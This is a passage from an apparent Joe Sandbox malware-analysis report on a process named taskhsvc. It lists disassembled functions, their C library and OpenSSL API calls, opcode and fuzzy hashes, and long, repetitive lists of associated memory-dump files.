                                                                                                                          • Associated: 00000017.00000002.6586670548.0000000000DF9000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586712043.0000000000E00000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586756626.0000000000E01000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586794125.0000000000E04000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586830084.0000000000E05000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586878445.0000000000E16000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586918291.0000000000E1E000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586954865.0000000000E1F000.00000008.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586987551.0000000000E20000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587024852.0000000000E22000.00000008.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587058475.0000000000E23000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587095446.0000000000E25000.00000008.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587133204.0000000000E2B000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587169531.0000000000E2C000.00000002.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587315193.0000000000EBD000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587315193.0000000000EC2000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587386506.0000000000EC3000.00000008.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587423157.0000000000EC8000.00000002.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          Joe Sandbox IDA Plugin
                                                                                                                          • Snapshot File: hcaresult_23_2_be0000_taskhsvc.jbxd
                                                                                                                          Similarity
                                                                                                                          • API ID: __stack_chk_fail$strrchr$abort
                                                                                                                          • String ID: d
                                                                                                                          • API String ID: 1190921433-2564639436
                                                                                                                          • Opcode ID: 180652a4c7638346c8e739a09191fd9fad18f909e593aa20582d77aa2b06d684
                                                                                                                          • Instruction ID: 4e4a0e66e803437cd9e6f58d563502729a8766be047274199cf42497f46ef37b
                                                                                                                          • Opcode Fuzzy Hash: 180652a4c7638346c8e739a09191fd9fad18f909e593aa20582d77aa2b06d684
                                                                                                                          • Instruction Fuzzy Hash: F9D10175E002099FDB08CFA8C985B9DBBF1FB48314F59852AE854EB391D374ED818B61
                                                                                                                          Function 00C3604E Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 170COMMON
                                                                                                                          Download Yara Rule
                                                                                                                          APIs
                                                                                                                          • __stack_chk_fail.LIBSSP-0 ref: 00C362E8
                                                                                                                            • Part of subcall function 00D36562: strrchr.MSVCRT ref: 00D36586
                                                                                                                            • Part of subcall function 00D36562: strrchr.MSVCRT ref: 00D3659C
                                                                                                                            • Part of subcall function 00D36562: __stack_chk_fail.LIBSSP-0 ref: 00D36601
                                                                                                                            • Part of subcall function 00D39764: __stack_chk_fail.LIBSSP-0 ref: 00D39857
                                                                                                                          • abort.MSVCRT ref: 00C360C4
                                                                                                                            • Part of subcall function 00D33842: __stack_chk_fail.LIBSSP-0 ref: 00D338B7
                                                                                                                          Strings
                                                                                                                          Memory Dump Source
                                                                                                                          • Source File: 00000017.00000002.6584424221.0000000000BEA000.00000040.00000001.01000000.00000009.sdmp, Offset: 00BE0000, based on PE: true
                                                                                                                          • Associated: 00000017.00000002.6584175168.0000000000BE0000.00000002.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6584256064.0000000000BE1000.00000020.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6584343407.0000000000BE9000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6584607547.0000000000C45000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6584691716.0000000000C48000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6584788774.0000000000C4F000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6584853132.0000000000C50000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6584948136.0000000000C86000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585009017.0000000000C87000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585114448.0000000000CAB000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585177342.0000000000CAC000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585242660.0000000000CAD000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585309875.0000000000CB0000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585450773.0000000000CF3000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585517571.0000000000CF4000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585582792.0000000000CF6000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585646727.0000000000CF7000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585713131.0000000000CF8000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585779653.0000000000CF9000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585835268.0000000000CFA000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585885424.0000000000CFC000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586034901.0000000000D68000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586179372.0000000000DDA000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586235596.0000000000DE3000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586287028.0000000000DE4000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586324423.0000000000DE6000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586363827.0000000000DEA000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586404302.0000000000DEC000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586441228.0000000000DEE000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586476691.0000000000DEF000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586513573.0000000000DF0000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586555035.0000000000DF3000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586594320.0000000000DF4000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586633729.0000000000DF8000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586670548.0000000000DF9000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586712043.0000000000E00000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586756626.0000000000E01000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586794125.0000000000E04000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586830084.0000000000E05000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586878445.0000000000E16000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586918291.0000000000E1E000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586954865.0000000000E1F000.00000008.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586987551.0000000000E20000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587024852.0000000000E22000.00000008.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587058475.0000000000E23000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587095446.0000000000E25000.00000008.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587133204.0000000000E2B000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587169531.0000000000E2C000.00000002.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587315193.0000000000EBD000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587315193.0000000000EC2000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587386506.0000000000EC3000.00000008.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587423157.0000000000EC8000.00000002.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          Joe Sandbox IDA Plugin
                                                                                                                          • Snapshot File: hcaresult_23_2_be0000_taskhsvc.jbxd
                                                                                                                          Similarity
                                                                                                                          • API ID: __stack_chk_fail$strrchr$abort
                                                                                                                          • String ID: L;
                                                                                                                          • API String ID: 1190921433-137942830
                                                                                                                          • Opcode ID: 274cf1ea2fb8cb6db24857756aaddbccb13a2ad80e51ebafb3f22bd1630c3540
                                                                                                                          • Instruction ID: 29d77a06d42824490f9a19d3ec127fc6936022871e758c2d3957c93e4399f133
                                                                                                                          • Opcode Fuzzy Hash: 274cf1ea2fb8cb6db24857756aaddbccb13a2ad80e51ebafb3f22bd1630c3540
                                                                                                                          • Instruction Fuzzy Hash: 0581D5B4A143459FDB00DFA9D085AAEBBF0AF49314F05C469F8A8AB342D334D940DF62
                                                                                                                          Function 00D5F0C8 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 109COMMON
                                                                                                                          Download Yara Rule
                                                                                                                          APIs
                                                                                                                            • Part of subcall function 00D625CA: ERR_peek_error.LIBEAY32 ref: 00D625E6
                                                                                                                            • Part of subcall function 00D625CA: __stack_chk_fail.LIBSSP-0 ref: 00D6265D
                                                                                                                          • __stack_chk_fail.LIBSSP-0 ref: 00D5F293
                                                                                                                            • Part of subcall function 00D36562: strrchr.MSVCRT ref: 00D36586
                                                                                                                            • Part of subcall function 00D36562: strrchr.MSVCRT ref: 00D3659C
                                                                                                                            • Part of subcall function 00D36562: __stack_chk_fail.LIBSSP-0 ref: 00D36601
                                                                                                                            • Part of subcall function 00D39764: __stack_chk_fail.LIBSSP-0 ref: 00D39857
                                                                                                                          • abort.MSVCRT ref: 00D5F15F
                                                                                                                          Strings
                                                                                                                          Memory Dump Source
                                                                                                                          • Source File: 00000017.00000002.6585885424.0000000000CFC000.00000040.00000001.01000000.00000009.sdmp, Offset: 00BE0000, based on PE: true
                                                                                                                          • Associated: 00000017.00000002.6584175168.0000000000BE0000.00000002.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6584256064.0000000000BE1000.00000020.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6584343407.0000000000BE9000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6584424221.0000000000BEA000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6584607547.0000000000C45000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6584691716.0000000000C48000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6584788774.0000000000C4F000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6584853132.0000000000C50000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6584948136.0000000000C86000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585009017.0000000000C87000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585114448.0000000000CAB000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585177342.0000000000CAC000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585242660.0000000000CAD000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585309875.0000000000CB0000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585450773.0000000000CF3000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585517571.0000000000CF4000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585582792.0000000000CF6000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585646727.0000000000CF7000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585713131.0000000000CF8000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585779653.0000000000CF9000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585835268.0000000000CFA000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586034901.0000000000D68000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586179372.0000000000DDA000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586235596.0000000000DE3000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586287028.0000000000DE4000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586324423.0000000000DE6000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586363827.0000000000DEA000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586404302.0000000000DEC000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586441228.0000000000DEE000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586476691.0000000000DEF000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586513573.0000000000DF0000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586555035.0000000000DF3000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586594320.0000000000DF4000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586633729.0000000000DF8000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586670548.0000000000DF9000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586712043.0000000000E00000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586756626.0000000000E01000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586794125.0000000000E04000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586830084.0000000000E05000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586878445.0000000000E16000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586918291.0000000000E1E000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586954865.0000000000E1F000.00000008.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586987551.0000000000E20000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587024852.0000000000E22000.00000008.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587058475.0000000000E23000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587095446.0000000000E25000.00000008.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587133204.0000000000E2B000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587169531.0000000000E2C000.00000002.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587315193.0000000000EBD000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587315193.0000000000EC2000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587386506.0000000000EC3000.00000008.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587423157.0000000000EC8000.00000002.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          Joe Sandbox IDA Plugin
                                                                                                                          • Snapshot File: hcaresult_23_2_be0000_taskhsvc.jbxd
                                                                                                                          Similarity
                                                                                                                          • API ID: __stack_chk_fail$strrchr$R_peek_errorabort
                                                                                                                          • String ID: <V
                                                                                                                          • API String ID: 4147408387-950409279
                                                                                                                          • Opcode ID: 5d1ec8e9cee2b80eaedca53264171226910ec54934ed254901dae84e46bbec51
                                                                                                                          • Instruction ID: 0093c9fbdae0475146955bdf82cc2b507e95179bd86c66c310fe4e5c4d9ede42
                                                                                                                          • Opcode Fuzzy Hash: 5d1ec8e9cee2b80eaedca53264171226910ec54934ed254901dae84e46bbec51
                                                                                                                          • Instruction Fuzzy Hash: 35519EB4905309DFCB00EFA9D58579EBBF0FB48305F10982AE894AB340D3759949CF66
                                                                                                                          Function 00BED1CE Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 96stringCOMMON
                                                                                                                          Download Yara Rule
                                                                                                                          APIs
                                                                                                                          • strcmp.MSVCRT ref: 00BED71B
                                                                                                                          • __stack_chk_fail.LIBSSP-0 ref: 00BED820
                                                                                                                            • Part of subcall function 00D43938: free.MSVCRT ref: 00D43967
                                                                                                                            • Part of subcall function 00D43938: __stack_chk_fail.LIBSSP-0 ref: 00D439A8
                                                                                                                            • Part of subcall function 00D33842: __stack_chk_fail.LIBSSP-0 ref: 00D338B7
                                                                                                                          Strings
                                                                                                                          Memory Dump Source
                                                                                                                          • Source File: 00000017.00000002.6584424221.0000000000BEA000.00000040.00000001.01000000.00000009.sdmp, Offset: 00BE0000, based on PE: true
                                                                                                                          • Associated: 00000017.00000002.6584175168.0000000000BE0000.00000002.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6584256064.0000000000BE1000.00000020.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6584343407.0000000000BE9000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6584607547.0000000000C45000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6584691716.0000000000C48000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6584788774.0000000000C4F000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6584853132.0000000000C50000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6584948136.0000000000C86000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585009017.0000000000C87000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585114448.0000000000CAB000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585177342.0000000000CAC000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585242660.0000000000CAD000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585309875.0000000000CB0000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585450773.0000000000CF3000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585517571.0000000000CF4000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585582792.0000000000CF6000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585646727.0000000000CF7000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585713131.0000000000CF8000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585779653.0000000000CF9000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585835268.0000000000CFA000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585885424.0000000000CFC000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586034901.0000000000D68000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586179372.0000000000DDA000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586235596.0000000000DE3000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586287028.0000000000DE4000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586324423.0000000000DE6000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586363827.0000000000DEA000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586404302.0000000000DEC000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586441228.0000000000DEE000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586476691.0000000000DEF000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586513573.0000000000DF0000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586555035.0000000000DF3000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586594320.0000000000DF4000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586633729.0000000000DF8000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586670548.0000000000DF9000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586712043.0000000000E00000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586756626.0000000000E01000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586794125.0000000000E04000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586830084.0000000000E05000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586878445.0000000000E16000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586918291.0000000000E1E000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586954865.0000000000E1F000.00000008.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586987551.0000000000E20000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587024852.0000000000E22000.00000008.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587058475.0000000000E23000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587095446.0000000000E25000.00000008.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587133204.0000000000E2B000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587169531.0000000000E2C000.00000002.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587315193.0000000000EBD000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587315193.0000000000EC2000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587386506.0000000000EC3000.00000008.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587423157.0000000000EC8000.00000002.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          Joe Sandbox IDA Plugin
                                                                                                                          • Snapshot File: hcaresult_23_2_be0000_taskhsvc.jbxd
                                                                                                                          Similarity
                                                                                                                          • API ID: __stack_chk_fail$freestrcmp
                                                                                                                          • String ID: (
                                                                                                                          • API String ID: 1549403291-3887548279
                                                                                                                          • Opcode ID: f9add94d4a52a4b9622e2a953d30cc4cb5650d1b5b1b7796a9e189aa1b5fdd4d
                                                                                                                          • Instruction ID: 435f5db8cca7e0c6aff39fc23e9cdd3b79b7dab9fbb3e3ab0951f74e4311a19c
                                                                                                                          • Opcode Fuzzy Hash: f9add94d4a52a4b9622e2a953d30cc4cb5650d1b5b1b7796a9e189aa1b5fdd4d
                                                                                                                          • Instruction Fuzzy Hash: 6E51C1B4909358DFCB10DF65D985B9DBBF0FB44304F4089AAE899A7201D7B49A88CF52
                                                                                                                          Function 00D50178 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 74COMMON
                                                                                                                          Download Yara Rule
                                                                                                                          APIs
                                                                                                                          • abort.MSVCRT ref: 00D50246
                                                                                                                          • __stack_chk_fail.LIBSSP-0 ref: 00D5028E
                                                                                                                            • Part of subcall function 00D36562: strrchr.MSVCRT ref: 00D36586
                                                                                                                            • Part of subcall function 00D36562: strrchr.MSVCRT ref: 00D3659C
                                                                                                                            • Part of subcall function 00D36562: __stack_chk_fail.LIBSSP-0 ref: 00D36601
                                                                                                                            • Part of subcall function 00D3985E: __stack_chk_fail.LIBSSP-0 ref: 00D39A18
                                                                                                                          Strings
                                                                                                                          Memory Dump Source
                                                                                                                          • Source File: 00000017.00000002.6585885424.0000000000CFC000.00000040.00000001.01000000.00000009.sdmp, Offset: 00BE0000, based on PE: true
                                                                                                                          • Associated: 00000017.00000002.6584175168.0000000000BE0000.00000002.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6584256064.0000000000BE1000.00000020.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6584343407.0000000000BE9000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6584424221.0000000000BEA000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6584607547.0000000000C45000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6584691716.0000000000C48000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6584788774.0000000000C4F000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6584853132.0000000000C50000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6584948136.0000000000C86000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585009017.0000000000C87000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585114448.0000000000CAB000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585177342.0000000000CAC000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585242660.0000000000CAD000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585309875.0000000000CB0000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585450773.0000000000CF3000.00000080.00000001.01000000.00000009.sdmpDownload File
